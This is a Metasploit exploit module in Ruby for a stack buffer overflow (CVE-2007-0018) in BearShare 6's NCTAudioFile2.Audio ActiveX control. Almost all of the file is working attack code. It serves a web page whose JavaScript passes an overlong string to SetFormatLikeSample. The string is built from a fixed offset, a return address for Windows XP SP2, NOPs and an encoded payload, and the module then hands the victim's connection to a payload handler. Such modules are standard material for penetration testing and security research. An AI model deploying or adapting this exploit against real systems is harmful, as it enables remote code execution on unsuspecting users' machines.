88 lines
2.4 KiB
Ruby
88 lines
2.4 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/projects/Framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'BearShare 6 ActiveX Control Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in the NCTAudioFile2.Audio ActiveX
|
|
Control provided by BearShare 6.0.2.26789. By sending a overly long string
|
|
to the "SetFormatLikeSample()" method, an attacker may be able to execute arbitrary code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'MC' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2007-0018' ],
|
|
[ 'BID', '23892' ],
|
|
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 800,
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP SP2 Pro English', { 'Offset' => 4116, 'Ret' => 0x7c81518B } ],
|
|
],
|
|
'DisclosureDate' => 'May 5 2007',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
# Re-generate the payload
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# Randomize some things
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
strname = rand_text_alpha(rand(100) + 1)
|
|
|
|
# Set the exploit buffer
|
|
sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V')
|
|
sploit << make_nops(8) + p.encoded
|
|
|
|
# Build out the message
|
|
content = %Q|
|
|
<html>
|
|
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='#{vname}'></object>
|
|
<script language='javascript'>
|
|
var #{vname} = document.getElementById('#{vname}');
|
|
var #{strname} = new String('#{sploit}');
|
|
#{vname}.SetFormatLikeSample(#{strname});
|
|
</script>
|
|
</html>
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
# Transmit the response to the client
|
|
send_response_html(cli, content)
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
end |